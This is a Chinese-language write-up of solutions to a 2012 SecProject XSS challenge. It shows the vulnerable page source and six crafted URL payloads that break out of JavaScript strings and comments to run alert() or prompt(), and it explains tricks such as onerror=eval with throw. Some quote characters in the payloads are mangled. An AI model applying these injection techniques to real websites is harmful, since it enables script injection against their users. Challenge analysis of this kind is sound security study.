还是先说明范例正常页面:
源码 :
<html> <head> <SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('222').value != '111') { document.getElementById('222').value= '111'; } if (document.getElementById('333').value != '111') { document.getElementById('333').value = '111'; } self.close(); } //--> </script> </head> <body>
利用一:
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=111&input2=222%27%29!=2%29{}}/*&input3=333%27%29;if%281%29{if%281%29{alert%2811%29;/**///
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=111&input2=222′)!=2){}}/*&input3=333′);if(1){if(1){alert(11);/**///
<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('222')!=2){}}/*').value != '111') { document.getElementById('222')!=2){}}/*').value= '111'; } if (document.getElementById('333');if(1){if(1){alert(11);/**///').value != '111') { document.getElementById('333');if(1){if(1){alert(11);/**///').value = '111'; } self.close(); } //--> </script>
总结:先将整个块都注释起来,因为222和333在中间的每一个会被注释掉,故修改位于两旁的222和333就相对容易许多。
利用二:
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one]+’//&input2=’/*&input3=*/)){a}};onerror=eval;;throw]=alert\x28\]kkotowicz\]\x29″;{if(]
<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById(''/*').value != 'one"+'//') { document.getElementById(''/*').value= 'one"+'//'; } if (document.getElementById('*/)){a}};onerror=eval;;throw"=alert\x28\"kkotowicz\"\x29";{if("').value != 'one"+'//') { document.getElementById('*/)){a}};onerror=eval;;throw"=alert\x28\"kkotowicz\"\x29";{if("').value = 'one"+'//'; } self.close(); } //--> </script> </head> <body>
精简:
<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById(''/*').value != 'one"+'//') { document.getElementById(''/*').value= 'one"+'//'; } if (document.getElementById('*/)){a}};onerror=eval;throw"alert\x28\"kkotowicz\"\x29";{if("').value != 'one"+'//') { document.getElementById('abc').value = 'one"+'//'; } } //--> </script>
关键处:
;onerror=eval;throw]=alert\x28\]kkotowicz\]\x29″;
指定错误发生时调用的函数eval,然后通过throw给其赋参数。
最后相当于eval(‘Uncaught=alert\x28″kkotowicz]\x29′);
而在FireFox上不成功是因为
<script>eval(‘uncaught exception:; =alert([kkotowicz]);’);</script> 是执行不了的……
即eval(‘uncaught exception:; =alert([kkotowicz]);’);
在IE下不成功因为
<script>eval(‘=alert([kkotowicz]);’);</script> 也是执行不了的……
即eval(‘=alert([kkotowicz]);
不过,即使改成<script>eval(‘alert([kkotowicz]);’);</script> 也会被 浏览器 检测
利用三:利用二的升级版
升级版:
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one]+’//&input2=’/*&input3=*/)){a}};onerror=prompt;;throw]\]kkotowicz\]";{if(]
和
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one]%2b’//&input2=’%2F*&input3=*%2F)){a}}%3Bonerror%3dprompt%3B;throw]\]kkotowicz\]";{if(]
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one]+’//&input2=’/*&input3=*/)){a}};onerror=prompt;;throw]\]kkotowicz\]";{if(]
<html> <head> <SCRIPT language=" Java script"> function setid(id, name) { if (document.getElementById(''/*').value != 'one"+'//') { document.getElementById(''/*').value= 'one"+'//'; } if (document.getElementById('*/)){a}};onerror=prompt;;throw"\"kkotowicz\"";{if("').value != 'one"+'//') { document.getElementById('*/)){a}};onerror=prompt;;throw"\"kkotowicz\"";{if("').value = 'one"+'//'; } self.close(); } //--> </script> </head> <body>
利用prompt函数,弥补了这些个不足,但只是弹出了内容,却不是执行了其js.
利用四:
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=a%27%29%29;}alert%28%%27Peter%20JariJ%27%29;{{/*&input3=b%27%29;//*///%28%27&input1=/*%27//
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=a’));}alert(%’Peter JariJ’);{{/*&input3=b’);//*///(‘&input1=/*’//
<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('a'));}alert('Peter JariJ');{{/*').value != '/*'//') { document.getElementById('a'));}alert('Peter JariJ');{{/*').value= '/*'//'; } if (document.getElementById('b');//*///('').value != '/*'//') { document.getElementById('b');//*///('').value = '/*'//'; } self.close(); } //--> </script>
重点语句:
if (document.getElementById(‘b’);//*///(]).value != ]//’) { document.getElementById(‘b’);//*///(]).value = ]//’;
在这句中,第一个 */闭合了之前的/*注释……但下面的一个同样的*/没有将要闭合的前/*,就会出错……此时,可以用//将其注释掉,而不会影响到第一个*/的闭合。NICE IDEA.
利用五:
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something//&input2=test1&input3=*///’));}alert(‘yousukezan’);function%20f(){{/*
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something//&input2=test1&input3=*///’));}alert(‘yousukezan’);function f(){{/*
<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('test1').value != 'something//') { document.getElementById('test1').value= 'something//'; } if (document.getElementById('*///'));}alert('yousukezan');function f(){{/*').value != 'something//') { document.getElementById('*///'));}alert('yousukezan');function f(){{/*').value = 'something//'; } self.close(); } //--> </script>
这个利用的特点之一是只用了一个input3,其实input1的//可以省略,因为在字符和注释中。而在input3中,很有趣的就是利用自身来闭合注释,再结合//而将多的部分注释。
这里就用到了一个特点是单引号括起来的*/也是有效的,只要前面是有配对的/*.再结合//单行注释,可以实现很多意想不到的技巧。
利用六:
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&input2=%27%2F*&input3=*/)){}};%2b{valueOf:location,toString:[].join,0:]jav\x61script:alert\x28\]kkotowicz\])],length:1};;;//’);{{1//
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one]+’//&input2=’/*&input3=*/)){}};+{valueOf:location,toString:[].join,0:]jav\x61script:alert\x28\]kkotowicz\])],length:1};;;//’);{{1//
这利用中最大亮点在于以下语句的利用,已测试在IE9,10中是可以执行的。Chrome和Firefox不可以执行。原理未知。
<script>+{valueOf:location,toString:[].join,0:]jav\x61script:alert\x28\]kkotowicz\])],length:1};</script>
源自&参考:
http://soroush.secproject测试数据/blog/2012/04/secproject-web-appsec-challenge-series-1/
http://soroush.secproject测试数据/blog/2012/06/challenge-series-1-result-and-conclusion/
http://soroush.secproject测试数据/blog/projects/hall-of-fame-challenge-series-1/
查看更多关于SecProject Web AppSec 之XSS解析 第二篇 - 网站安全 -的详细内容...